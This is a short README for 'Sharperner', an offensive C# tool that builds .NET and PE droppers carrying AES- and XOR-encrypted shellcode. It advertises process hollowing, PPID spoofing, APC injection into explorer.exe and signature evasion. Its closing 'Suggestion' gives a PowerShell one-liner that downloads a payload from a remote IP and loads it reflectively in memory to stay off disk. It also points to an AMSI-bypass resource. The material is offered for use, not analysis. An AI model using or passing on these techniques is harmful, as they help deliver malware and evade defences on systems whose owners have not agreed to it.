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Sharperner - Simple Executable Generator With Encrypted Shellcode


Sharperner is a tool written in CSharp that generate .NET dropper with AES and XOR obfuscated shellcode. Generated executable can possibly bypass signature check but I cant be sure it can bypass heuristic scanning.


Features

PE binary
  • Process Hollowing
  • PPID Spoofing
  • Random generated AES key and iv
  • Final Shellcode, Key and IV are translated to morse code :)

.NET binary
  • AES + XOR encrypted shellcode
  • APC Process Injection (explorer.exe)
  • Random function names
  • Random generated AES key and iv
  • Final Shellcode, Key and IV are translated to morse code :)

Usage
/file       B64,hex,raw shellcode/type       cs,cpp/out        Output file Location (Optional)Example:Sharperner.exe /file:file.txt /type:cppSharperner.exe /file:file.txt /out:payload.exe

Suggestion

To avoid touching the disk, Generated .NET executable can be loaded reflectively with powershell. AMSI is the enemy now, amsi.fail ftw!

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/payload.exe')$assem = [System.Reflection.Assembly]::Load($data)[TotallyNotMal.Program]::Main()


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